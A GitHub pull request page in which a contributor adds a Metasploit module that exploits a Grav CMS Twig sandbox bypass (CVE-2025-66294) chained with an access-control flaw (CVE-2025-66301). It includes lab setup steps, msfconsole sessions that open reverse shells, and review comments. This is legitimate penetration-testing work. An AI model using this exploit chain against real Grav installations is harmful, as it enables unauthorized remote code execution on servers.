Skip to content

Conversation

@nakkouchtarek
Copy link
Contributor

Description

This PR adds an exploit module for a Server-Side Template Injection (SSTI) vulnerability (CVE-2025-66294) in Grav CMS that allows bypassing the Twig sandbox to achieve remote code execution. The cleanDangerousTwig method uses weak regex validation that fails to sanitize nested Twig calls when using the evaluate_twig function, allowing attackers to register arbitrary PHP functions (like system) as Twig callbacks and execute system commands.

To inject the malicious payload into a form's process section, this module leverages CVE-2025-66301, a broken access control flaw in the /admin/pages/{page_name} endpoint that allows users with page editing privileges to modify the form's YAML frontmatter, including the process section that dictates post-submission behavior.

Affected Versions

  • Vulnerable: Grav CMS versions prior to 1.8.0-beta.27 (tested on 1.7.49)
  • Patched: Grav CMS 1.8.0-beta.27 and later

Installation

To set up a vulnerable Grav CMS instance for testing on Linux ( Here using version 1.7.49 ):

sudo apt update
sudo apt install -y php php-cli php-mbstring php-curl php-gd php-xml php-zip php-intl php-yaml unzip wget
cd /var/www
wget https://github.com/getgrav/grav/releases/download/1.7.49/grav-admin-v1.7.49.zip
unzip grav-admin-v1.7.49.zip
cd grav-admin
php -S 0.0.0.0:8000 system/router.php

Access http://localhost:8000/admin to complete setup and create an account with page editing permissions.

Verification Steps

  1. Start msfconsole
  2. Do: use exploit/multi/http/grav_twig_ssti_sandbox_bypass_rce
  3. Do: set RHOSTS [target]
  4. Do: set USERNAME [username]
  5. Do: set PASSWORD [password]
  6. Do: check
  7. You should see the target is vulnerable

Options

USERNAME

The Grav CMS username. Requires an account with admin.pages permission.

PASSWORD

The Grav CMS password.

FORM_NAME

Optional custom form page name. Random if not set.

Scenarios

Exploiting Grav CMS 1.7.49 to obtain a reverse shell

msf6 > use exploit/multi/http/grav_twig_ssti_sandbox_bypass_rce
msf6 exploit(multi/http/grav_twig_ssti_sandbox_bypass_rce) > set RHOSTS 192.168.1.100
RHOSTS => 192.168.1.100
msf6 exploit(multi/http/grav_twig_ssti_sandbox_bypass_rce) > set USERNAME admin
USERNAME => admin
msf6 exploit(multi/http/grav_twig_ssti_sandbox_bypass_rce) > set PASSWORD admin123
PASSWORD => admin123
msf6 exploit(multi/http/grav_twig_ssti_sandbox_bypass_rce) > set LHOST 192.168.1.50
LHOST => 192.168.1.50
msf6 exploit(multi/http/grav_twig_ssti_sandbox_bypass_rce) > exploit

[*] Started reverse TCP handler on 192.168.1.50:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Grav CMS 1.7.49 is vulnerable
[*] Authenticating...
[+] Login successful
[*] Creating malicious form page...
[*] Triggering payload execution...
[*] Command shell session 1 opened (192.168.1.50:4444 -> 192.168.1.100:52341)

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Copy link
Contributor

@jvoisin jvoisin left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

That's an impressively clean module, kudos!

@nakkouchtarek
Copy link
Contributor Author

Appreciate it! Learned a lot from my last contribution here, glad there was some improvement 😅

Regarding the review comments, I've addressed both points in the following commits :

  • Improved Grav CMS fingerprinting (d17dc18) : Check for Grav-specific HTML attributes and login form fields for precise detection

  • Added payload compression before encoding (5fcc33d) : Compress payloads with zlib before base64 encoding (Grav requires the zip extension which provides zlib support)

Let me know if these changes match what you had in mind. Happy to make any further adjustments if needed!

Cheers!

@nakkouchtarek nakkouchtarek requested a review from jvoisin December 7, 2025 21:51
@nakkouchtarek nakkouchtarek requested a review from jvoisin December 8, 2025 18:48
@jheysel-r7 jheysel-r7 self-assigned this Dec 10, 2025
@nakkouchtarek
Copy link
Contributor Author

Just implemented all the requested changes in the following commits :

HttpClientTimeout handling (df9f546) - Use datastore option instead of hardcoded timeout value
Zlib error handling (028aa2f) - Wrap require in begin/rescue block with proper failure message
Automatic redirect handling (a20e2df) - Use send_request_cgi! instead of manual follow_redirect for a cleaner approach

@jheysel-r7 jheysel-r7 added module docs rn-modules release notes for new or majorly enhanced modules labels Dec 11, 2025
Copy link
Contributor

@jheysel-r7 jheysel-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hey @nakkouchtarek, thanks for the contribution and for making those changes so quickly. Testing was as expected 👍

Testing

msf exploit(multi/http/grav_twig_ssti_sandbox_bypass_rce) > set rhost 172.16.199.136
rhost => 172.16.199.136
msf exploit(multi/http/grav_twig_ssti_sandbox_bypass_rce) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf exploit(multi/http/grav_twig_ssti_sandbox_bypass_rce) > set username msfuser
username => msfuser
msf exploit(multi/http/grav_twig_ssti_sandbox_bypass_rce) > set password N0tcommon!
password => N0tcommon!
msf exploit(multi/http/grav_twig_ssti_sandbox_bypass_rce) > set rport 8000
rport => 8000
msf exploit(multi/http/grav_twig_ssti_sandbox_bypass_rce) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Grav CMS 1.7.49 is vulnerable
[*] Authenticating...
[+] Already authenticated
[*] Creating malicious form page...
[*] Triggering payload execution...
[*] Command shell session 1 opened (172.16.199.1:4444 -> 172.16.199.136:56382) at 2025-12-11 12:34:34 -0800

id
uid=1000(msfuser) gid=1000(msfuser) groups=1000(msfuser),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare)
uname -a
Linux msfuser-virtual-machine 6.2.0-34-generic #34~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep  7 13:12:03 UTC 2 x86_64 x86_64 x86_64 GNU/Linux

@github-project-automation github-project-automation bot moved this from Todo to In Progress in Metasploit Kanban Dec 12, 2025
@jheysel-r7 jheysel-r7 merged commit 388a967 into rapid7:master Dec 12, 2025
21 checks passed
@github-project-automation github-project-automation bot moved this from In Progress to Done in Metasploit Kanban Dec 12, 2025
@jheysel-r7
Copy link
Contributor

Release Notes

This adds an exploit module for a Server-Side Template Injection (SSTI) vulnerability (CVE-2025-66294) in Grav CMS, versions prior to 1.8.0-beta.27 , that allows bypassing the Twig sandbox to achieve remote code execution. To inject the malicious payload into a form's process section, this module leverages CVE-2025-66301, a broken access control flaw in the /admin/pages/{page_name} endpoint.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

docs module rn-modules release notes for new or majorly enhanced modules

Projects

Status: Done

Development

Successfully merging this pull request may close these issues.

4 participants